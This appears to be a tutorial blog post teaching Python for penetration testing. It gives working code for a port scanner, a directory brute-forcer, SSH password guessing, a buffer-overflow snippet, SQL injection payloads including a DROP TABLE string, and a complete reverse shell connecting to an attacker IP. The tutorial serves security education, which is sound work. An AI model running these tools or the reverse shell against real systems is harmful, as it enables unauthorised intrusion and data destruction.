Python is the lingua franca of ethical hacking. Nearly every major security framework — Impacket, Scapy, sqlmap, Volatility, Pwntools — is written in Python. Learning Python with a security mindset means you can customize existing tools, automate repetitive tasks, prototype exploits, and understand how attack frameworks actually work under the hood. This guide covers the Python skills that matter most for penetration testers.
Setting Up Your Environment
Use Python 3.10+ and maintain a virtual environment for each project to avoid dependency conflicts:
python3 -m venv hacking-env
source hacking-env/bin/activate
pip install requests scapy pwntools impacket paramiko
Kali Linux ships with Python 3 pre-installed. Always prefer python3 explicitly over python to avoid ambiguity.
Working with Sockets: Building a Port Scanner
Understanding raw sockets is foundational. Here’s a simple TCP port scanner:
import socket
import concurrent.futures
def scan_port(host, port):
try:
with socket.create_connection((host, port), timeout=1) as sock:
return port, True
except (socket.timeout, ConnectionRefusedError, OSError):
return port, False
def scan_host(host, ports):
open_ports = []
with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
futures = {executor.submit(scan_port, host, p): p for p in ports}
for future in concurrent.futures.as_completed(futures):
port, is_open = future.result()
if is_open:
open_ports.append(port)
return sorted(open_ports)
target = "192.168.1.1"
ports = range(1, 1025)
results = scan_host(target, ports)
print(f"Open ports on {target}: {results}")
This threaded scanner checks 100 ports concurrently. Nmap is far more powerful for real engagements, but writing this from scratch teaches you exactly how TCP connection-based port scanning works.
HTTP Requests with the requests Library
The requests library is the workhorse for web application testing automation.
import requests
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})
# Login to a form
login_data = {"username": "admin", "password": "password123"}
r = session.post("http://target.com/login", data=login_data)
if "Welcome" in r.text:
print("[+] Login successful")
# Now make authenticated requests
dashboard = session.get("http://target.com/dashboard")
print(dashboard.text[:500])
Using a Session object automatically handles cookies, making it perfect for testing authenticated functionality.
Directory Brute-Forcing
import requests
wordlist = "/usr/share/wordlists/dirb/common.txt"
base_url = "http://target.com/"
with open(wordlist) as f:
for line in f:
path = line.strip()
url = base_url + path
r = requests.get(url, allow_redirects=False)
if r.status_code not in (404, 403):
print(f"[{r.status_code}] {url}")
This is essentially a stripped-down gobuster. Understanding it makes you a better user of the real tool.
Scapy: Packet Crafting and Sniffing
Scapy lets you build, send, and capture network packets at a very low level.
from scapy.all import *
# Craft an ICMP ping
packet = IP(dst="8.8.8.8") / ICMP()
response = sr1(packet, timeout=2, verbose=0)
if response:
print(f"Host is up: {response.src}")
# ARP scan a subnet
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.1.0/24"),
timeout=2, verbose=0)
for sent, received in ans:
print(f"{received.psrc} - {received.hwsrc}")
Scapy is ideal for crafting malformed packets to test intrusion detection systems, building custom protocol implementations, and understanding network-layer attacks like ARP spoofing.
Paramiko: SSH Automation
Paramiko implements the SSH protocol in Python, enabling brute-force testing, automated command execution, and file transfer:
import paramiko
def try_ssh(host, port, username, password):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, port=port, username=username,
password=password, timeout=3)
print(f"[+] SUCCESS: {username}:{password}")
stdin, stdout, stderr = client.exec_command("id")
print(stdout.read().decode())
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception as e:
print(f"Error: {e}")
return False
# Only use against systems you own or have permission to test
try_ssh("192.168.1.100", 22, "root", "toor")
Pwntools is the standard library for CTF binary exploitation challenges. It handles process interaction, remote connections, and architecture-specific utilities:
from pwn import *
# Connect to a remote service
conn = remote("challenge.ctf.com", 1337)
# Or interact with a local binary
p = process("./vuln_binary")
# Send and receive data
conn.recvuntil(b"Enter name: ")
conn.sendline(b"A" * 64 + p64(0xdeadbeef)) # Buffer overflow payload
# Cyclic patterns for offset finding
pattern = cyclic(200)
p.sendline(pattern)
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.sp, 4))
print(f"Offset: {offset}")
Pwntools reduces the boilerplate of exploit development to a few clean lines.
Automating Web Vulnerability Checks
import requests
def test_sqli(url, param):
payloads = ["'", "' OR '1'='1", "'; DROP TABLE users;--", "' UNION SELECT NULL--"]
for payload in payloads:
r = requests.get(url, params={param: payload})
errors = ["SQL syntax", "mysql_fetch", "ORA-01756", "sqlite3.OperationalError"]
for error in errors:
if error.lower() in r.text.lower():
print(f"[!] Possible SQLi at {url}?{param}={payload}")
print(f" Error signature: {error}")
test_sqli("http://target.com/search", "q")
This is a simplified error-based SQL injection detector. Real tools like sqlmap do this far more thoroughly, but writing it yourself teaches you the detection logic.
Building a Reverse Shell
Understanding how reverse shells work is fundamental to understanding payloads:
import socket
import subprocess
import os
# Attacker's IP and port (run: nc -lvnp 4444 on attacker machine)
ATTACKER_IP = "10.10.10.1"
ATTACKER_PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_IP, ATTACKER_PORT))
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
subprocess.call(["/bin/sh", "-i"])
Only deploy reverse shells against machines you own or are authorized to test.
Essential Libraries for Security Work
| Library | Use Case |
|---|
requests | HTTP interaction, web testing |
scapy | Packet crafting, sniffing |
paramiko | SSH automation |
pwntools | Binary exploitation, CTFs |
impacket | Windows protocol implementations |
cryptography | Encryption/decryption operations |
beautifulsoup4 | HTML parsing for scrapers |
click | Building CLI tools |
Conclusion
Python won’t replace specialized tools like Nmap, Burp Suite, or Metasploit. What it will do is make you dangerous in the gaps — when no existing tool does exactly what you need, when you need to automate a repetitive task, or when you need to understand an attack deeply enough to modify an existing exploit. Invest in Python, and you’ll level up every other area of your security practice alongside it.